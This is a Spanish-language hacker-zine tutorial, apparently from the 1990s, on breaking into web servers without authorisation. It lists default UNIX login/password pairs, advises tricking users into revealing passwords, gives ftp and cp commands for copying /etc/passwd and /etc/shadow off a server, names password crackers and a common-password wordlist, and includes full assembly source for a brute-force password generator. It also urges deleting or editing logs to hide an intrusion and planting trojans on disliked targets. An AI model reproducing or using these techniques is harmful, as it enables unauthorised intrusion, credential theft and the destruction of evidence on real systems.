Crackeando Webs

29 0 0
                                    

"Guia para crackear Websites & Homepages"por Le PomPaItor"Lo espantoso no es la altura, sino la pendiente. La pendiente donde la mirada se precipita a lo hondo y la mano se extiende hacia la cumbre. Alli es donde se apodera del corazon el vertigo de su doble voluntad." -Federico Nietzsche
1. Introduccion
Si alguna vez has hechado a volar tu imaginacion se te habra ocurrido que seria comico remover algunas graficas de algun website, o mejor aun borrar toda la pagina de algun enemigo para deleitarte con tu venganza. Pues bien, este es el manual que te ayudara a lograrlo.
Primero deberas entender que andar por ahi borrando paginas es *TONTO* e inmaduro. Lo que trato de hacer es que sientas la adrenalina de entrar a un sistema al que no estes autorizado y echar una ojeada alrededor. Si te dedicas a invadir sistemas y borrar archivos le quitaras el privilegio a otra persona de entrar a ese sistema ya que el operador se dara cuenta de la intrusion y aumentaran la seguridad negando asi la entrada a mas 'intrusos'. Si el sistema al que entraste pertenece a unos hijos de la chingada (Plantas Nucleares, Creadores de abrigos de piel, Agencias de Gobierno,etc) olvida lo antes dicho y haz que se arrepientan de haberse conectado a la red causando kaos o mejor aun, infectandolos con algun buen virus (por que no reemplazar un ejecutable por un caballo de troya?). En fin, usa tu cabeza y cuida de no ser sorprendido en tus viajes de kAoS.
2. Websites
Un website es solamente una computadora llamada servidor por su capacidad de de realizar diferentes tareas al mismo tiempo, ejecutando un sistema operativo que generalmente sera UNIX o algunas de sus variaciones y con toda la informacion guardada en algun medio.
2.1 Ganando acceso a un servidor WWW
Aqui reside la magia del Hacker, la proteccion comun son dos preguntas Login y Password. El usuario que tenga una cuenta en ese servidor tiene un nombre de usuario (Login) y contrase¤a (Password) por lo que la entrada a ese servidor no tiene problemas; pero para una persona ajena a ese servidor la entrada es un poco mas complicada.
Para poder penetrar el sistema necesitamos saber su URL y una vez conectados con el explorador prestar atencion al mensaje waiting reply from 103.38.28 o algo parecido que haga aparecer una direccion IP en lugar de el nombre de dominio.
Si lograste conseguir la direccion IP usa telnet para conectarte a esa direccion. Si cuando tratas de conectarte aparece el mensaje 'connection refused' probablemente este protegida esa direccion con una FIREWALL. Si este es el caso trata de hacer telnet a el nombre de dominio con la finalidad de llegar a el frustrante LOGIN/PASSWORD.
Para entrar necesitas conseguir alguna cuenta haciendo algo de ingenieria social o intenta con los defaults.
* CUENTAS DEFAULTS DE UNIX *
Login: Password:
root root root system sys sys sys system daemon daemon uucp uucp tty tty test test unix unix unix test bin bin adm adm adm admin admin adm admin admin sysman sysman sysman sys sysman system sysadmin sysadmin sysadmin sys sysadmin system sysadmin admin sysadmin adm who who learn learn uuhost uuhost guest guest host host nuucp nuucp rje rje games games games player sysop sysop root sysop demo demo
Si fracasas al intentar el acceso usando cada uno de los anteriores logins, probablemente tengas que conseguir el password de otra manera como relaciones humanas; esto significa que vas a tener que conseguir la clave valiendote de trucos como hablar por telefono a una persona que sepas que esta registrada en ese servidor y pedirle su Login y Password diciendo que necesitas validar su cuenta o algo parecido. Otra manera de conseguir un Password es crear un programa que robe las claves de acceso del disco duro de una persona.
3. Cuando se esta adentro
Una vez que hayas logrado entrar a un sistema necesitaras localizar y obtener el archivo passwd disponible en el directorio /etc
Para obtener el archivo PASSWD usa el siguiente ejemplo: ($ simboliza el prompt UNIX)
$ ftp FTP> get /etc/passwd FTP> quit
Para ver el contenido de el archivo usa el siguiente comando:
$ cat /etc/passwd Una vez que tengas en tu posesion el archivo PASSWD editalo y fijate en su contenido, debera tener la siguiente informacion:
usuario:contrase¤a:ID:Grupo:descripcion/nombre:directorio:shell
usuario - Este es el login de algun usuario. contrase¤a - Es el password de el usuario (encriptada con DES) ID - Es la identificacion de ese usuario. grupo - El grupo al que pertenece esta cuenta. descripcion- El nombre del usuario. directorio - El directorio de acceso de el usuario. shell - El shell que procesa los comandos de ese usuario.
Un ejemplo podria ser:
john:234abc56:9999:13:John Johnson:/home/dir/john:/bin/john
Nombre de usuario: john Password encriptado: 234abc56 Usuario numero: 9999 Numero de grupo: 13 Descripcion: John Johnson Directorio de acceso: /home/dir/john Shell: /bin/john
Si el archivo que conseguiste contiene la misma informacion pero en el campo del password tiene un asterisco (*) o cualquier otro caracter, significa que las contrase¤as se encuentran 'sombreadas'.
Si las contraseñas se encuentra sombreada,las podras encontrar en el archivo shadow aunque generalmente no se puede tener acceso a ese archivo a menos de tener root. Una forma de conseguir SHADOW es usando el comando cp para copiarlo a otro archivo y despues tratar de obtener el archivo al que se copio, ejemplo:
$cp /etc/shadow /usuarios/carlos/hack.txt $ftp FTP> get /usuarios/carlos/hack.txt FTP> quit $rd /usuarios/carlos/hack.txt
Algunas otras maneras de obtener el archivo SHADOW seran explicadas en otros numeros de RareGaZz.
Ya tengo los passwords encriptados, ahora que?
Los passwords estan encriptados usando one-way encription, significa que no se pueden des-encriptar. Lo que Unix hace es obtener la contraseña del usuario,la encripta y la compara con la que ya esta encriptada, si coinciden entonces se le permite el acceso.
Para poder obtener las contraseñas es necesario tener un archivo con palabras y usar un programa para que encripte las palabras del archivo y las compare con las contrase¤as encriptadas,si coinciden te avisa que palabra fue la que coincidio con la contrase¤a encriptada.
Algunos programas de este tipo son:
Nombre Palabras por Segundo Computadora
John the Ripper 5077 586 Starcracker 1300 586 Cracker Jack 1008 586 KillerCracker 350 586
Estos programas se encuentran disponibles en cualquier pagina de Hackers, si quieres la ultima version de StarCracker visita la siguiente URL: http://www.geocities.com/SiliconValley/park/8403/index.html
Para conseguir listas de palabras haz FTP a el siguiente servidor: warwick.ac.uk directorio: /pub/cud
Algunas de las palabras mas usadas en contraseñas son: aaa academia ada adrian aerobics airplane albany albatros albert alex alexander algebra alias alisa alpha alphabet ama amy analog anchor andy andrea animal answer anything arrow arthur ass asshole athena atmosphere bacchus badass bailey banana bandit banks bass batman beautiful beauty beaver daniel danny dave deb debbie deborah december desire desperate develop diet digital discovery disney dog drought duncan easy eatme edges edwin egghead eileen einstein elephant elizabeth ellen emerald engine engineer enterprise enzyme euclid evelyn extension fairway felicia fender finite format god hello idiot jester john johnny joseph joshua judith juggle julia kathleen kermit kernel knight lambda larry lazarus lee leroy lewis light lisa louis love lynne mac macintosh mack maggot martin marty marvin matt master maurice maximum merlin mets michael michelle mike minimum nicki nicole rascal really rebecca remote rick reagan robot robotics rolex ronald rose rosebud rosemary roses ruben rules ruth sal saxon scheme scott secret sensor serenity sex shark sharon shit shiva shuttle simon simple singer single singing smile smooch smother snatch snoopy soap socrates spit spring subway success summer super support surfer suzanne tangerine tape target taylor telephone temptation tiger tigger toggle tomato toyota trivial unhappy unicorn unknown urchin utility vicki virginia warren water weenie whatnot whitney will virgin william winston willie wizard wonbat yosemite zap whatnow
Obtuve algunas cuentas, ahora?
Para poder hacer y deshacer en el servidor necesitas el password de la cuenta root. Si despues de intentar con algunas listas de palabras no puedes necesitaras hacer un ataque en bruto, es decir empezar desde la letra A hasta la palabra zzzzzzzz
El siguiente programa necesita ser compilado usando TASM y es una lista de palabras TSR que no ocupa espacio en disco y puede ser modificada, es ideal para ataques brutos a la cuenta r00t_ (Programa Copiado de Phrack 47)
P A S S W O R D E N G I N E (for IBM PC's) by Uncle Armpit +++++++++++++++++++++++++++++++++++++++++++++
Que tan practico es?
Este programa no necesita mucho espacio en disco y puede crear listas de palabras de gran tama¤o.
Con el ejemplo proporcionado, passwords empezando en 'aaaaaaa' y terminando en 'zzzzzzz' seran generados.
Como empiezo a usar esta lista de palabras?
Compila el codigo y nombralo "hackdrv.sys", despues necesitas configurarlo añadiendo la siguiente linea en CONFIG.SYS
device=c:\hackdrv.sys
Una vez en memoria el programa creara la lista de variables en memoria llamada HACKPWD. Cualquier programa que uses (excepto StarCracker) debera reconocer hackpwd como una lista de palabras y empezar a crackear.
Si deseas reiniciar una sesion desde una combinacion especifica solo modifica el archivo HACKDRV.SYS con un editor HEXADECIMAL y modifica la cadena de caracteres con los que empieza ;-0
;-----------------------cut here-------------------------------- ;Program HACKDRV.SYS ; org 0h next_dev dd -1 attribute dw 0c000h ;character device w/ ioctl calls strategy dw dev_strategy interrupt dw dev_int dev_name db 'HACKPWD ' countr dw offset number number db 'aaaaaa',0ah ;<---- 6 caracteres en minusculas (empiezo) numsize equ $-number - 2 afternum:
;working space for device driver rh_ofs dw ? rh_seg dw ?
dev_strategy: ;strategy routine mov cs:rh_seg,es mov cs:rh_ofs,bx retf
dev_int: ;interrupt routine pushf push ds push es push ax push bx push cx push dx push di push si
cld push cs pop ds
mov bx,cs:rh_seg mov es,bx mov bx,cs:rh_ofs
mov al,es:[bx]+2 rol al,1 mov di,offset cmdtab xor ah,ah add di,ax jmp word ptr[di]
cmdtab: ;command table dw init ;0 dw exit3 ;1 dw exit3 ;2 dw ioctl_read ;3 dw do_read ;4 dw exit3 ;5 dw exit3 ;6 dw exit3 ;7 dw exit3 ;8 dw exit3 ;9 dw exit3 ;10 dw exit3 ;11 dw ioctl_write ;12 dw exit3 ;13 dw 5 dup (offset exit3)
ioctl_read: push es push bx
mov si,es:[bx+10h] mov di,es:[bx+0eh] mov es,si
push cs pop ds mov si,offset number xor cx,cx
get_char: lodsb stosb inc cl cmp al,0ah jz ioctl_rend jmp get_char
ioctl_rend: pop bx pop es mov es:[bx+012h],cx mov cs:countr,offset number jmp exit2
ioctl_write: push es push bx mov si,es:[bx+010h] mov ds,si mov si,es:[bx+0eh] mov cx,numsize+1 ;es:[bx+012h] push cs pop es mov di,offset number repe movsb pop es pop bx mov cs:countr,offset number jmp exit2
do_read: push es push bx
push cs pop ds
mov si,[countr] inc si ;word ptr [countr] cmp si,offset afternum jnz is_okay mov si,offset number call inc_num
is_okay: mov [countr],si mov di,es:[bx]+0eh mov ax,es:[bx]+010h mov cx, es:[bx]+012h jcxz clean_up mov es,ax repe movsb
clean_up: pop bx pop es jmp exit2
exit3: mov es:word ptr 3[bx],08103h jmp exit1
exit2: mov es:word ptr 3[bx],0100h
exit1: pop si pop di pop dx pop cx pop bx pop ax pop es pop ds popf retf exit:
inc_num proc near push si mov si,numsize
reiterate: inc byte ptr [number+si] cmp byte ptr [number+si],'z'+1 ;+1 past ending char. in range jnz _exit mov byte ptr [number+si],'a' ;starting char. in range dec si cmp si,-1 jnz reiterate mov byte ptr [number],01ah ;send EOF _exit: pop si ret inc_num endp
at_eof: ; the non-resident code starts here
initial proc near push es
push cs pop ds
push cs pop es
mov si,offset number mov di,offset tmpnum cld _again: lodsb cmp al,0ah jz _nomorechars stosb jmp _again
_nomorechars: mov si,offset msgend mov cx,4 repe movsb
mov ah,09 ;print welcome message mov dx,offset msg1 int 21h
pop es ret initial endp
init: call initial mov ax,offset at_eof mov es:[bx]+0eh,ax push cs pop ax mov es:[bx]+010h,ax mov cs:word ptr cmdtab,offset exit3 jmp exit2
msg1 db "Incremental Password Generator (c)1995",0ah,0dh db "Written by Uncle Armpit",0ah,0dh,0ah,0dh db "Starting at word [" tmpnum db 10 dup (?) msgend db "]",0a,0d,'$' ;END hackdrv.sys ----------------------------------cut here----------------------------------
Como limpiar tus huellas
Si deseas que tu ingreso con la cuenta r00t no quede registrado en los LOGS de el servidor revisa los directorios buscando archivos como logs, syslog, log, o cualquiera que parezca que guarda un reporte de los accesos y borralos o mejor aun editalos usando el editor de archivos de UNIX. Para ejecutar el editor usa el comando vi
Edita o borra los siguientes archivos: /etc/syslog /etc/log /etc/logs
Existen algunos scripts para borrar las huellas como ZAP! disponibles en la red y en los proximos numeros de esta revista.
Le PompaItor

El libro Negro del HackerDonde viven las historias. Descúbrelo ahora